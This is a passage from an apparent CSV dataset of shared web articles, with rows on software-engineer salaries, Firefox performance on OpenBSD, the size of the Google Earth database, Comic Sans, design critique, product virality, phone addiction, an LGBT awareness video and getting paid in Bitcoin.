on the right based on income ratio. fig = plt.figure(figsize=(14, 5)) fig.suptitle(title, fontsize=20) ax1 = fig.add_subplot(1, 2, 1) ax1.barh(ticks, best[col], alpha=.5, color='#00ff00') ax1.set_yticks(ticks) ax1.set_yticklabels(best['Country'].values, fontsize=15, va='bottom') ax2 = fig.add_subplot(1, 2, 2) ax2.barh(ticks, worst[col], alpha=.5, color='#ff0000') ax2.set_yticks(ticks) ax2.set_yticklabels(worst['Country'].values, fontsize=15, va='bottom') fig.text(0, -.07, chartinfo, fontsize=12) plt.show() This chart again shows that the income differences are huge in some countries and that software engineers are likely to earn more. In our dataset Pakistan and India are the two countries with the lowest average annual income and Qatar has the 2nd highest average income after Norway. I assume that the income distribution in countries with a high ratio is skewed towards lower incomes and in countries with low ratios towards higher incomes. Again, it'd be interesting to compare medians to medians and not medians to means, but we'd have to find another data source for such a comparison. Adding country codes In this last short section, I'll show how to add ISO 3 country codes to our dataset in order to visualize the data in an interactive D3.js based map . df_map = df.copy() names = gc.get_countries_by_names() df_map['iso3'] = df_map['Country'].apply(lambda x: names[x]['iso3']) df.head(5) Here we use the geonamescache object initialized in the beginning to get a dictionary of countries keyed by names. The values are dictionaries as well, which, among other things, contain ISO 3 country codes. Finally, to save a few bytes the country column is removed and the dataframe saved as a CSV file. del df_map['Country'] df_map.to_csv(data_dir + '/economy/income-software-engineers-countries.csv', encoding='utf-8', index=False) Summary In this notebook we looked at income data for software engineers in 50 countries and compared their earnings to the general population. In the process we scraped the dataset from the source web page, cleaned it up, visualized it and interpreted the results pointing out potential issues with the dataset and methodology. While software engineer seems to be a good career choice in most of the countries, keep the caveats in mind before you start making emigration plans. Also, income should certainly not be your only criterion for choosing a profession or a place to live in. Author: Ramiro Gómez * Last edited: April 08, 2016 Linux 4.2.0-35-generic - CPython 3.5.1 - IPython 4.1.2 - matplotlib 1.5.1 - numpy 1.10.4 - pandas 0.18.0 Published: April 08, 2016 by Ramiro Gómez. Disclosure : External links on this page may contain affiliate IDs, which means that I earn a commission if you make a purchase via such a link. This allows me to operate this site and offer hopefully valuable content that is freely accessible. More information about affiliate programs .",en
1460385089,CONTENT SHARED,-2649418407515952078,-2979881261169775358,-7769347963459582954,,,,HTML,http://www.tedunangst.com/flak/post/firefox-vs-rthreads,firefox vs rthreads,"Mistakes were made, but not by me. Firefox is too slow. OpenBSD is too slow. The combination is too too slow. This situation was known for some time, but resolution was also slow for quite some reasons. Many Firefox on OpenBSD users, particularly developers, only use OpenBSD so the extent of the performance gap between platforms went unnoticed. Web browsing would grow ever slower, but the only page that matters would continue to load as quickly as ever, once the slumbering lizard had awoken. Clearly the reason it takes me thirty seconds to view a single tweet was idiot kids and their infernal javascript frameworks. A few changes were made which improved some of the worst cases, but made much less of an overall impact. A tweak to realloc to avoid a peculiar case in the X server where it would repeatedly resize a buffer. A tweak to malloc to reduce contention on the lock while one thread was making a system call. Another tweak to X's socket buffers to reduce the number of system calls required to move images back and forth. We struggled on for a while, muttering to our insular selves, until the releases of Firefox 40 and 41. Suddenly performance plummeted from unpleasant to unbearable. It was increasingly obvious that there was a real problem and that this was not, in fact, just the way things were. Firefox was the component that had changed, but it wasn't possible to pretend they would release something this bad. They were triggering a preexisting condition. Isolating the problem proved difficult. Firefox is not what one would call a minimal test case. Just downloading the source can take longer than rebuilding all of OpenBSD. Consequently, there was a lot of hypothesizing. My running joke was that you could ask a half dozen developers why Firefox was slow and receive a dozen theories in reply. It now seems possible that all of them were correct. Most of the theories were similar. Firefox was calling some function or system call excessively, but this inefficiency was masked on other platforms because their implementation was better optimized. But the question remained, which function? mpi measured and saw lots of pthread_mutex_trylock calls, but when I measured, all I saw were gettimeofday calls. Some other operating systems use a feature called vDSO to short circuit certain system calls, notably gettimeofday. Support for vDSO has never been popular in OpenBSD because it has some negative security implications, at least as commonly implemented. And there was the somewhat ideological stand that if a system call is too expensive, maybe you should fix your program to behave better. I'm willing to agree that some programs may benefit from cheaper gettimeofday calls, but it seems unreasonable for a program like a browser to require them. However, when software is developed on platforms that do have vDSO, it's possible to accidentally add implicit dependencies on vDSO-like speed. Trying to identify the fault after the fact in a program the size of Firefox isn't easy. Fortunately, gettimeofday is merely one possible slow function. There are many more and maybe some of them can be fixed. kettenis identified suboptimal locking in malloc as another suspect. Despite earlier efforts to avoid holding the spinlock while making a system call, threads could still pile up spinning on the lock. Changing the lock to a mutex puts the waiters to sleep, reducing overall load. OG malloc developer otto reentered the fray with a multi pool malloc diff , which opens the way to really reducing lock contention. Perhaps also the scheduler could be improved. The recent rewrite by Michal Mazurek shows some promise. This inspired mpi to take another look at yield . As you'll recall from page two of your Building a Multithreaded Kernel textbook, when a high priority thread waits on a lock, it's supposed to gift its priority to the lock holder to ensure progress is made. We (I) never quite got around to implementing that, and for several years it seemed we just might get away with it. The history of rthreads is pretty much maybe tomorrow, maybe not. Although it's not directly related to rthreads or Firefox, stefan's work on amap efficiency is another notable improvement. Memory randomization results in the average process having many tiny private mappings. But the design of UVM intended to use amaps to manage complex shared mappings. Someday soon we can all hope to have a browser that is merely slow, and not too slow. A lot of thanks to kettenis and mpi , among others, for refusing to give up in the face of an overwhelming challenge. And landry for keeping Firefox up to date, such that whiners like me can even complain about its performace.",en
1460385102,CONTENT SHARED,8963938873430212934,-2979881261169775358,-7769347963459582954,,,,HTML,http://www.gearthblog.com/blog/archives/2016/04/big-google-earth-database.html,How big is the Google Earth database? - Google Earth Blog,"This is the fourth and final in a series of posts about the size of the data in Google Earth. We already looked at: Today we are putting it all together and trying to come up with an estimate for just how large the Google Earth database really is. 3D Imagery: 1024 TB The total area of 3D imagery currently in Google Earth is approximately 524,000 sq km. We re-ran our tests for 3D imagery a number of times trying closer and closer views and every time we got closer, the figure got bigger. We eventually settled on an estimate of 2 GB to 1 sq km of 3D imagery although we believe it is an underestimate. This gives us a total of 1024 TB for 3D imagery. Default Layer Aerial Imagery: 179 TB For areas of countries we mostly relied upon this list on Wikipedia . The continental US has more or less complete aerial imagery coverage. Total area approx: 7,663,000 sq km. Based on our maps from this post , we estimate that the European countries Portugal, Spain, Italy, France, United Kingdom, Germany, Netherlands, Czech Republic, Austria, Montenegro, Greece, Denmark, Switzerland and Belgium have about 50% aerial imagery, as does Japan. Total area covered 1,506,000 sq km. The US has approximately five times as much aerial imagery as the rest of the world combined. Based on our previous results, we estimate aerial imagery requires approximately 2 GB per 100 sq km. This gives us a total of 179 TB for aerial imagery. Satellite Imagery: 196 TB Excluding Antarctica, the rest of the world's land mass is approximately half covered with good quality satellite imagery. This is a total area of 63,638,000 sq km. Based on previous results, good quality satellite imagery requires about 0.3 GB per 100 sq km. Low quality satellite imagery requires significantly less space at about 18 MB per 100 sq km. This gives us totals of 186 TB for good quality satellite imagery and only 10 TB for low quality satellite imagery. Historical Imagery: 1,618 TB This is the hardest to estimate. We will exclude the default layer in our calculations. The continental US has on average about seven aerial images for any location. This gives us a total of about 898 TB. Europe and Japan have approximately 50% coverage with five layers of aerial imagery. This comes to 118 TB. About a third of the world's land area has five layers of good quality satellite imagery. This comes to 527 TB. About one percent of the world's land area has twenty or more good quality satellite images. This comes to 75 TB. So our final estimate for the total size of the Google Earth database is 3,017 TB or approximately 3 Petabytes! Compare that to this post from 2006 at which time the estimate stood at 150 TB. How accurate is our estimate? Given that the bulk of the size comes from historical imagery for which we simply do not have very accurate data, our estimate could easily be a long way from the true figure. In addition, the method used for determining how much data each imagery type requires was not particularly accurate. We have also completely ignored the old type of 3D buildings, and all the street and mapping data or layers. We have considered Street View to not be part of Google Earth as it should really be considered more of a Google Maps product or a product in its own right. We believe that overall it is a significant underestimate and the database is actually quite a bit bigger. A significant proportion of the Google Earth database is US aerial imagery, both current and historical. For this we can largely thank the USGS and the USDA Farm Service Agency, although much of the most recent imagery is gathered by Google itself.",en
1460385133,CONTENT SHARED,1619468327065509360,-2979881261169775358,-7769347963459582954,,,,HTML,http://designforhackers.com/blog/comic-sans-hate/,Why You Hate Comic Sans,"Everyone loves to hate Comic Sans. The child-like handwriting font is so infamous, there is a movement to try to ban it . Mention its name to the common layman (aside from a preschool teacher), and you will likely get a chuckle, mention it to a trained designer, and you'll get a look of disgust. But what exactly makes Comic Sans so horrible? I recently gave a talk at IgniteChicago - with less detail than what follows - about just why it is that Comic Sans is so hated: Comic Sans vs. Helvetica To illustrate the poor fundamentals of Comic Sans, I will compare it to Helvetica, which is such a beloved font, that there's a movie - about typography - named Helvetica . First of all, I should acknowledge that comparing these fonts is a bit apples to oranges (which are both fruits, mind you), in that they both convey completely different moods: Helvetica looks strong and serious, and Comic Sans is usually used in situations where one wants to look playful and casual. Both Have Unmodulated Strokes But they have their similarities as well. They both have a relatively unmodulated stroke, meaning that the thickness of the strokes on the fonts don't change throughout the stroke. This sample shows how Helvetica's form differs from that of Garamond, which has a modulated stroke. Comic Sans also has an unmodulated stroke. This modulation is a result of Garamond's form being derived from that of scribed letters. Before printing was available in the West, scribes lettered Bibles beautifully and patiently by hand, using a flat-tipped pen, held at a fixed angle, which influenced the form of those letters - resulting in a modulated stroke. As printing was developed, the letters created mimicked scribed letters, and - while they eventually developed their own forms - printed letterforms almost exclusively had modulated strokes until sans-serif type was popularized in the early 1800's. The forms of most sans-serif fonts are not influenced by drawing tools. Helvetica Manages Weight Better Though the strokes of Helvetica's letterforms are unmodulated, some adjustments are made to improve its legibility. For example, notice how the stroke on Helvetica gets thinner where the shoulder meets the stem on this letter n. This helps to give the letter a more even visual weight. Notice how Comic Sans is not this way. If you squint your eyes, you'll notice that there is a disproportionately heavy area where these strokes meet on Comic Sans, while Helvetica's weight is more evenly distributed. The ironic thing about this distinction is that Comic Sans is actually influenced from a drawing tool: a round, felt-tipped pen or marker; but, the stroke of this tool is unmodulated. Meanwhile, the letterforms of Helvetica are rationalized from predecessors, without apparent influence of a drawing tool. This mismanagement of visual weight is the main issue that makes reading Comic Sans an unpleasant experience. Evenness of weight, or ""texture"" is important to the legibility and readability of typography. Letters or blocks of text that are free from disproportionately light or heavy spots allow the letterforms themselves to shine through and be read easily. This example shows how a block of text set in Helvetica differs in texture from a block of text set in Comic Sans. I've blurred both blocks of text and bumped up the contrast so we can all collectively experience an objective form of squinting - to identify areas that are excessively light or dark. First, notice the general variation of lightness and darkness in the lines of type. The Helvetica is a more uniform grey, while the Comic Sans varies widely, with some very dark spots scattered throughout the body of text. The most obvious anomolies are the letters ""e"" and ""t,"" the former of which appears like a blood stain a number of times in the example, and the latter which sticks out like a dead tree. The Comic Sans ""e"" appears more dark than the other letters because its overall visual weight is mismanaged. When compared to Garamond and Helvetica, we can get some idea of why. Garamond's ""e"" features a very large aperture, and small eye, but its stroke modulation keeps it balanced. The extreme heaviness of the stroke towards the bottom left of the ""e"" is balanced out by the large aperture, and the tiny eye is balanced out by the very thin bar that closes out the eye. Helvetica maintains balance by compensating for its absence of stroke modulation by having a larger eye and a smaller aperture. Comic Sans, however, by virtue of its handwriting-based style, has a tilted - incidentally ""Venetian"" - eye to its ""e"" giving it both a small eye, and a large aperture. Since there is no stroke modulation to Comic Sans, it can't compensate for this lack of balance and thus utterly fails. Comic Sans Has Poor Letterfit But poor management of visual weight within the letterforms themselves isn't the only characteristic that makes Comic Sans uneven in body text. The ""letterfit"" - or consideration given to the letterforms to allow them to be set together in an even manner - of Comic Sans is very poor. The letterfit of Helvetica allows for it to inherently have decent kerning tables. Kerning is the distance between two letters, and good fonts have parameters set for just about every letter combination (or ""kerning tables"") in which the font may eventually be set; but if the letters themselves aren't designed with consideration given to how the letters will relate to one another, then producing good kerning tables is impossible. You can see that Comic Sans has an awkward gap between the ""f"" and the ""o,"" but this pairing can't simply be more tightly kerned, as it would create an area of tension - from too close proximity - between the crossbar of the ""f"" and the ""o."" You can see similar problems throughout the font, but this is one of the better examples. This problem could have been avoided if the leading portion of the crossbar of the ""f"" weren't so long (notice that it is shorter on Helvetica). One way to compensate for these poor pairings would be to space the letters out a bit on the whole, to allow for relatively tighter pairings for problem areas such as I've described; but, this isn't feasible in most computer applications, and it would do little to make up for the other blunders of Comic Sans. So, the typographic fundamentals of Comic Sans are very poor as used in high-resolution situations, but Comic Sans was never intended to be used in this manner, and that is part of why its considered such a bad font. Comic Sans isn't Used as Intended Comic Sans was originally designed to be used in the talk bubbles of a program called Microsoft Bob. The font wasn't completed in time to actually make it into the program, but it lived on to eventually ship with Windows 95; and that's when the font really got ugly. Once the font was in the hands of Windows 95 users, there was no telling how people would use it. Now, it was going to be printed out on bake sale flyers, birthday party invitations, and even business cards. But remember, this font was designed to be used on-screen, and in 1994, when the font was designed, most computers for personal use - and Windows 95 - didn't have anti-aliasing. Anti-aliasing is the technology that makes fonts looks smooth on-screen. Without ant-aliasing, fonts look jagged - as if they were made of LEGOS®. This isn't the end of the world, as long as the font is designed accordingly. Notice how much better the ""e"" of Comic Sans distributes its visual weight when aliased. In fact, when compared to Garamond, which wasn't originally designed for the screen , Comic Sans fares quite well in terms of readability. Where the Hate Comes From: The Wrong Place at the Wrong Time So, the story of Comic Sans is not that of a really terrible font, but rather of a mediocre font, used incorrectly on a massive scale. Windows 95 was the first operating system to really hit it big. Just as computers were starting to pop up in nearly every home in America, Windows 95 was finding itself installed on all of those computers, and with it, the font Comic Sans. So now, nearly every man, woman, child, and bake sale organizer find themselves armed with publishing power unlike civilization had ever seen; and few of them really had any design sense. Comic Sans Rode a Wave: Desktop Publishing It used to be that if you lost your kitten, and wanted to make a poster, probably the most efficient way to make a flyer would be to draw one up with magic marker, cut out a picture of the cat, and go down to the nearest supermarket to make copies of it at 15 cents apiece. Then, you would post them up in your neighborhood; and - like a caveman - you would pick up a phone, call the newspaper, and place an ad to help find your kitten. But now that you had Windows 95, a personal computer, and a printer, you could use Word to make your lost kitten poster, and print it out at home. And, wow! You could use any font you wanted . What's that? You don't know anything about fonts? Of course not, because you've never had this power before. So, guess what font makes you think about your lost kitten? This is a monumental moment in history - right up there with the invention of printing - for common people to suddenly have the power to typeset and print documents. No big deal for awhile: some people got to enjoy making their own Christmas cards, birthday party invitations, etc. for awhile, and the small audiences of their families and coworkers suddenly had to put up with some ugly, clip art riddled Christmas cards. But then, gradually, over the next 10 years or so, the internet got more and more popular. Now, that publishing power got even stronger: instead of flyers posted in break rooms, Comic Sans was showing up on websites, and even as the default font for many people's emails. Now, any one person could write a message that could potentially be read by millions, in Comic Sans. This actually happened when Cleveland Caveliers owner, Dan Gilbert wrote a letter regarding the dramatic departure of LeBron James, in Comic Sans - resulting in a media storm over the poor font choice . The Rise of the Graphic Design Degree, & The Formation of an Army of Haters But where did all of this hatred come from? Well, while grandmas around the world were printing birthday invitations in Comic Sans, the field of Commercial Art (now known as ""Graphic Design"") was enjoying the revolutionary typesetting power that the Macintosh provided. No longer did they have to blindly ""spec"" out type, not knowing what the final result would look like until their work got back from the typesetter. This made the production of high quality print design much cheaper, and much more viable for businesses to spend money on. So, with the increased demand for Graphic Design services, Design schools started churning out graduates at an unprecedented pace. Who doesn't want to just sit and draw stuff for a living, right? At this point - the late 90's - all of these young people are suddenly seeing the world through new eyes. Having been through it myself, words cannot describe the jarring experience of Pandora's box being opened up to reveal that 95% of every designed thing you see is ugly. Terrible font choices, poor kerning, haphazard color choices, and stupid concepts suddenly assault your eyes once you learn about design principles, color theory, typography, and concept development. A large portion of conversations between myself and other self-righteous design students were - and still are - about how terribly designed everything is: campus wayfinding signage, the t-shirt for the latest toga party, and yes, lost kitten posters. But most of these design students were - and still are - blind to what a monumental, mammoth, incredible, revolutionary, thing was occurring. Their grandmother could typeset and print out as many lost kitten posters as she wanted. She can even make a website about her kitten, and someone in Tanzania can read about it (this is probably only remarkable to you if you don't live in Tanzania). This makes Gutenberg's 42-line Bible look like the non- self-inflating Whoopie cushion ! The Clash of Knowledge & Ignorance Eventually, regular people got more familiar with this publishing power, desktop publishing applications - like Microsoft Publisher - became more widely available, and more people started to get the hang of publishing on their own. This really started to encroach on the territory of these fresh design graduates, many of whom were finding being a Graphic Designer to really suck: a client may have her nephew design a brochure, and hire you to clean it up, or worse yet - take a stab at it herself. Meanwhile - this is the last decade or so - the same invention that made Graphic Design easier was making it way harder: print was dying, and the web was growing. Now, clients are trying to direct designers themselves, and the designers need to learn how to code web pages just to stay relevant. This doesn't sit well with most designers. So, you see, Comic Sans is an archetypal enemy of the Graphic Designer. Its not only an unattractive font, but it also represents the invisible, evil force that is making the ""print"" designer less and less relevant. A natural reaction to being threatened is violence, and the hatred for Comic Sans is arguably violent. A Well-Designed Future Comic Sans is at the disposal of nearly everyone with a computer; but that doesn't mean that we will always have to be subject to its awkward forms. The spread of Comic Sans - a pretty bad font - is the result of the spread of an inarguably good technology. Just as the advent of movable type eventually lead to a spread of literacy, the advent of personal publishing should lead to the spread of design literacy; and with it, a populace too informed to stoop to using Comic Sans. Why You Hate Comic Sans - David Kadavy (@kadavy) September 6, 2015 This post originally appeared on the author's blog .",en
1460392015,CONTENT SHARED,-9161596996229760398,-1130272294246983140,-4474001929063679583,,,,HTML,http://arquiteturadeinformacao.com/user-experience/criticas-de-design-dizendo-as-coisas-que-precisam-ser-ditas/,Críticas de design: dizendo as coisas que precisam ser ditas,"A crítica de design é um método importantíssimo para o amadurecimento das soluções e dos profissionais que as criam. Ainda assim, a falta de preparo em fazer e receber críticas pode comprometer a relação interpessoal, a qualidade do trabalho - e consequentemente, a experiência do usuário. Esses dias participei de uma sessão de avaliação de trabalhos dos alunos da SVA (School of Visual Arts) , uma conceituada universidade americana eleita recentemente pelo Linkedin como uma das melhores do país em Design. Os alunos, apesar de muito talentosos, estavam ansiosos para apresentar seus trabalhos e pegar meu feedback. Eu, por outro lado, estava ansioso para ver como essa nova geração de designers pensa, trabalha e apresenta seus designs. Após a sessão, acabei participando de um happy hour com os professores e alunos onde conversamos mais um pouco sobre esse exercício que tínhamos acabado de fazer: as sessões de críticas de design. Além de muito úteis para fazer com que o resultado final dos trabalhos dos alunos continue sempre melhorando, essas sessões de críticas de design têm um papel importante na formação do próprio caráter dos profissionais que estão entrando todo ano no mercado. Desde cedo os alunos aprendem o valor desse tipo de exercício, são treinados para conseguirem filtrar as críticas boas das críticas ruins e também para entender que o que está sendo criticado ali é o design, não o designer. Quando entram no mercado, o valor desse exercício está tão fortemente enraizado na cultura dos novos profissionais que eles acabam carregando a prática para o dia-a-dia das agências, portais, consultorias e companhias em que trabalham. Um ganha-ganha sem fim. Mas... Quando o medo de criticar e ser criticado atrapalha o processo Apesar dos nítidos benefícios em se praticar sessões de crítica de design com o seu time, ainda assim o exercício nem sempre é bem sucedido como na história acima. Você já deve ter passado por uma situação assim: O time entra na sala e o designer apresenta a solução na qual trabalhou duras horas nos últimos dias. É possível perceber em seu tom de voz o quanto ele está satisfeito com o resultado. Mas é tanto orgulho, que as outras pessoas que estão na reunião ficam com receio de expressar opiniões contrárias ou apontar os problemas. A reunião acaba, o trabalho não evolui, as horas de várias pessoas foram gastas e o designer pensa que nada precisa melhorar. Nem o design, nem ele, nem o exercício em si. Complicado. Listei abaixo alguns motivos pelos quais acredito no valor desse tipo de exercício e também algumas dicas para evitar que os problemas aconteçam. Críticas trazem novas perspectivas à mesa Se você foi convidado a uma reunião para fazer críticas ao design, é porque você possui um ponto de vista diferente da pessoa que desenhou a solução (e com isso pode trazer novas lentes à mesa). Antes da reunião começar, olhe em volta e veja quais são os outros participantes da reunião, qual o papel de cada um deles ali presentes e sob quais pontos de vista eles estão olhando. Isso te ajudará a entender qual o SEU papel ali dentro. Para evitar problemas: a cada nova funcionalidade ou ideia que for apresentada, tenha certeza que todos os pontos de vista foram ouvidos antes de passar para o próximo slide - o ponto de vista do desenvolvedor, do gerente de projetos, dos visual designers e de todos que estiverem na reunião. Antes de finalizarem o exercício, parem um momento para refletir sobre a ""big picture"" (agora que já olharam para as funcionalidades em detalhes) e discutirem pontos mais estratégicos, tanto de design quanto de escopo de projeto. Críticas melhoram a qualidade do trabalho Sempre que alguém faz uma crítica, é preciso ficar claro para todos quem está sendo beneficiado ou prejudicado com aquilo. O usuário? Os objetivos de negócios da empresa? Os desenvolvedores? Isso deve inclusive ser parte do discurso de quem está colocando uma crítica. Ao invés de falar ""eu acho que esse menu não funciona"", as pessoas precisam colocar suas críticas sob algum desses pontos de vista. ""Se eu sou um usuário que estou procurando por geladeiras e me deparo com esse menu, eu ficaria na dúvida entre clicar em eletrodomésticos ou cozinha"". Repare como nesse exemplo fica muito mais fácil os outros membros do time também se colocarem no lugar do usuário e entenderem o problema que você está tentando comunicar. Ah, e se ninguém é beneficiado ou prejudicado com aquilo que você está propondo (nem o usuário, nem a empresa, nem o seu time), há grandes chances de que aquela crítica seja simplesmente uma opinião pessoal. Críticas mantêm o designer desafiado Não há nada mais deliciosamente desafiador para um designer do que ouvir um bom feedback sobre o seu design. Quando a sessão de design acaba, o designer se sente desafiado a fazer melhor, a pensar em uma solução que consiga cumprir e contornar as críticas que foram apresentadas. Além, é claro, de que no próximo projeto todo esse conhecimento absorvido será usado pelo designer já no primeiro round de design - fazendo com que o indivíduo e o time amadureçam com o passar do tempo. Mas vale um alerta: auto-estima é um fator importante para manter o designer motivado. Não esqueça de também elogiar os pontos positivos da solução, já que eles também são mérito do designer que está ali apresentando o trabalho. Como tudo na vida, cuidado com os exageros. Existem coisas que são o mínimo que se espera de um designer - e essas talvez não precisem ser elogiadas a todo momento. Críticas amadurecem relações interpessoais Ou pelo menos deveriam. O problema nesse ponto é que muitas pessoas levam as críticas para o lado pessoal e esquecem que aquilo ali é trabalho. Saber ouvir críticas é uma atividade que exige humildade e anos de aprendizados. A primeira reação (instintiva do ser humano) é achar que as pessoas estão criticando você. Não estão. Só se chega a um bom resultado depois de vários rounds de explorações de design; afinal, aquilo que vocês decidem não colocar no produto, também é design. Para evitar problemas: tenha certeza que quando você levanta uma crítica em uma dessas reuniões, está criticando o design - e não o designer. Olhe para o problema sob o ponto de vista do usuário, e não sob o ponto de vista de alguém que acha poderia ter feito um trabalho melhor que o cara que está apresentando o trabalho. Humildade, sempre. E lembre-se que vocês estão trabalhando juntos para chegar à melhor solução para os seus usuários.",pt
1460392229,CONTENT SHARED,384967563509172020,-108842214936804958,-5597012611038140250,,,,HTML,https://medium.com/@philipla/the-two-types-of-product-virality-8ae744b1c4d7,The Two Types of Product Virality,"The Two Types of Product Virality Whenever presenting or teaching about growth I discuss ""product virality"" as I believe it's one of the best ways for products to increase awareness and acquire new users. It's free and it scales. I define product virality as user flows and features within a product that naturally lead to existing users spreading awareness of the product to their network (friends, colleagues, family etc.). I preface this with what product virality is not: Incentivized or non-incentivized referral flows PR Word of Mouth Examples of product virality include: Dropbox folder sharing: You're working on a project with group members where you need to share files so you try to get them to join. Pull product virality (PPV): Product virality where existing users require people in their network to join to gain value out of a feature. Distribution product virality (DPV): Product virality where existing users spread awareness of a product to their network. Facebook photo-tagging: You inherently want to tag friends in photos. Back in the day, if your friends were not on Facebook they would receive an email indicating that they were tagged, this would prompt them to join Facebook if they weren't on it yet. WhatsApp group messaging: You created a WhatsApp group for your close friends to chat, so you naturally try to get all your close friends to join the app so they can participate. After examining various examples, I found product virality can be further defined into two categories: Using the above examples, with WhatsApp group messaging and Dropbox folder sharing you need certain people to join to gain the primary value from the feature whereas with Facebook photo-tagging you do not. The person who receives a notification that they were tagged in a photo simply becomes aware of Facebook in a very contextual way. Thus, the WhatsApp and Dropbox features would fall under PPV and Facebook photo-tagging would fall under DPV. Slack: You must have colleagues join your channels to gain the value of being able to communicate efficiently with others in the company. Splitwise: You need your friends to join the app so you can input shared bills, money owing, and money lent with them. Instagram cross-posting: You inherently want to share Instagram photos on Facebook and Twitter as well, so they provide an inline and seamless experience for this. Your friends on these social networks will become aware of Instagram when they see the Instagram link or click through to the Instagram page. Hotmail tagline: The infamous ""Get Your Free Email at Hotmail"" tagline at the end of all Hotmail emails that went out in their early days. Users would send emails and all the recipients would see the tagline, becoming aware of Hotmail. Nike+ Running app, run sharing: When you have a great run that's tracked through the app, you naturally want to share that to your social networks. Nike+ provides a unique integration with social networks like Facebook where it displays your pace and run map in the card that is shared. As your friends see your activity, they will become aware of the Nike+ Running app. Skype: You need your friends to join to video conference with them. With PPV, your users actively try to convince people in their network to use the product to benefit themselves, whereas with DPV, your users are only making people in their network aware of the product and don't necessarily gain value from specific people joining. More examples of PPV: More examples of DPV: Between the two types of product virality, PPV is much more effective in converting, activating, and retaining potential new users since the existing users are actively persuading someone to join and use the product. By definition, having PPV also means your product has network effects as users gain value from more users joining. However, the reverse is not true, if your product has network effects it does not necessarily mean you have PPV. For example, Reddit has network effects but you do not require people in your network to join to gain value out of it, so it does not have PPV. DPV usually provides contextual awareness to potential new users which contributes to increasing their conversion, activation, and retention. However, DPV's effect on these lower funnel stages is incomparable to PPV's influence. With that said, DPV in many cases scales to a larger audience and generates more top of funnel awareness. DPV and PPV are not mutually exclusive and there are products that have both. For example, Facebook has the photo-tagging feature as DPV, but it also has features such as Events and Groups where users need specific people to join which generates PPV. Both should be considered as you look to engineer virality into your product. If and how each can be realized will depend on your specific product. In order to successfully invent these experiences, you will need to have a deeper understanding of your users and the relevant situations where they would interact with non-users. It's not easy, and as always product market fit is still the key before working on growth, but if you're able to get both PPV and DPV working in a scalable fashion it should generate some serious growth. *PPV and DPV are the terms I've used to formalize my thoughts around this and it works for me, but I would love to hear about any similar terms and frameworks anyone else has seen or used to describe these concepts. *Know more examples of product virality? Share them with me at [email protected] Thanks to Juliana, Karen, Steve, Lyana, Even, Nima, John, Hillary and Qasim for feedback and proofreading.",en
1460395332,CONTENT SHARED,3076823183761975019,1895326251577378793,4099311168477949225,,,,HTML,http://www.businessinsider.com/mobile-phone-addiction-tech-science-delaney-ruston-2016-4,This is the scientific reason we're addicted to our phones,"Whether you're working in your office, walking down the street, or eating in a restaurant, there's usually one common factor: people are looking at their phones. Internal medicine physician and filmmaker Delaney Ruston dropped by Business Insider to talk about the science behind why we are constantly compelled to check our mobile devices. Ruston directed ""Screenagers,"" a documentary about the excessive use of mobile devices among children and teenagers. Follow BI Video: On Twitter",en
1460401007,CONTENT SHARED,4328888515190573663,6735372008307093370,-6721783926176499721,,,,HTML,http://www.superpride.com.br/2016/04/video-impactante-faz-voce-sentir-na-pele-o-preconceito-contra-lgbts.html,Vídeo impactante faz você sentir na pele o preconceito contra LGBTs,"Ter sua existência negada, ser constantemente excluído dos espaços, sofrer com o preconceito que se manifesta de formas que vão das mais singelas às mais violentas possíveis, tudo isso por ser quem você é. Isso pode não parecer algo real, mas nós homossexuais sabemos exatamente que é isso o que acontece todos os dias. E foi para provocar o difícil exercício da empatia que a organização Inter-LGBT encontrou uma forma de fazer com que as pessoas se coloquem no lugar das outras inevitavelmente ao produzir um filme impactante chamado ""The Obstacle Course"" (""A corrida de obstáculos"", em tradução livre). No filme, situações comuns vividas por homossexuais, que vão desde o bullyng até rejeição da família, são mostradas enquanto a câmera posicionada em primeira pessoas faz com que o público as vivencie profundamente. A assinatura ""Até que a sociedade progrida, nós continuaremos"" encerra o filme, que faz parte de uma campanha da organização contra a homofobia e à favor da manutenção dos direitos de pessoas homossexuais e transsexuais.",pt
1460401760,CONTENT SHARED,7845570490247450966,4340306774493623681,2707862235140647169,,,,HTML,http://cointelegraph.com/news/how-to-benefit-from-getting-paid-in-bitcoin,How To Benefit From Getting Paid in Bitcoin,"CoinTelegraph spoke to employees and freelancers about getting paid in Bitcoin and learnt the pros and cons of this payment method. Having a salary paid in cryptocurrency offers a lot of opportunities for an employee - from sweet bonuses to long-term investments and more. However, before considering it as a method of receiving your wage, it won't hurt to ask for some advice. For example, do you know how to arrange conversion of cryptocurrency to fiat currency? What are the advantages, disadvantages and pitfalls of being paid in cryptocurrency? And finally, what kinds of jobs are paid this way? Niel De La Rouviere, one of the first people to be paid in Bitcoin, said to Fast Company : ""I discovered bitcoin in early 2011. At first it was something that felt like play money and almost surreal. I didn't fully understand all the details back then, but a decentralized, peer-to-peer digital currency was just too crazy and I became intrigued."" High wages, nice bonuses and no paperwork First of all, you can benefit from the exchange rate: If you do not immediately convert your Bitcoin to fiat currency and instead wait for a more beneficial exchange rate, you may get a nice bonus to your wage (in fiat money) depending on your trading abilities and your patience. Secondly, you don't need to do any paperwork - this is especially important for freelancers, moonlighters and those who strongly hate bureaucracy. Nobody will ask you about the source of sum equivalent to $10,000 credited to your Bitcoin wallet , and the wallet itself will not show you a message saying that limits were exceeded and now you have to go through verification/authorization procedure, send a pack of notarized documents or visit your bank. However, this is true only until you decide to convert your ""coins"" to cash . Thirdly, the wages are higher than average on the market. If an employer can only offer this exotic payment method, feel free to ask for more money due to the inconvenience of this payment method. Besides, payment in Bitcoin is often related to jobs which require specific knowledge of cryptocurrencies (Bitcoin startups , exchanges, etc.) Such knowledge is sought after, and if you have it, you can be paid more than the average market wage for your profession. In addition to this, if you save some bitcoins, it can turn into a long-term investment. Some experts predict that the Bitcoin exchange rate can be as high as $10,000, and so, if you save up a part of your earned Bitcoins, you will substantially increase your capital. Last but not least - it is exciting and interesting. If you find a job in a crypto-startup, you can learn a lot and develop your skills in a new field that you have never experienced before. Jeremy Allaire, Circle CEO, explains to CNN Money : ""When people start experiencing personal payments the same manner they do with email and text, consumers are going to start saying, 'Why can't my company pay me this way?' It's going to be a consumer led phenomenon."" Possible losses and limitations However, getting paid in cryptocurrency might not be for everyone. One should be prepared for certain risks and limitations. The BTC exchange rate is notoriously unpredictable, it can either rise or fall substantially, decreasing your profit, or potentially even turning it into a loss. The prediction that the exchange rate of 1 BTC will be as high as $10,000 has no validation. Just as well, within a few years, 1 BTC could cost $10 on the market. If you prefer Litecoins or Dogecoins, we have bad news for you, employers mainly offer Bitcoin. Lastly, do you have a good command of the English language? If you don't, it will be very difficult for you to find a good job paid in cryptocurrency - the vast majority of job offers 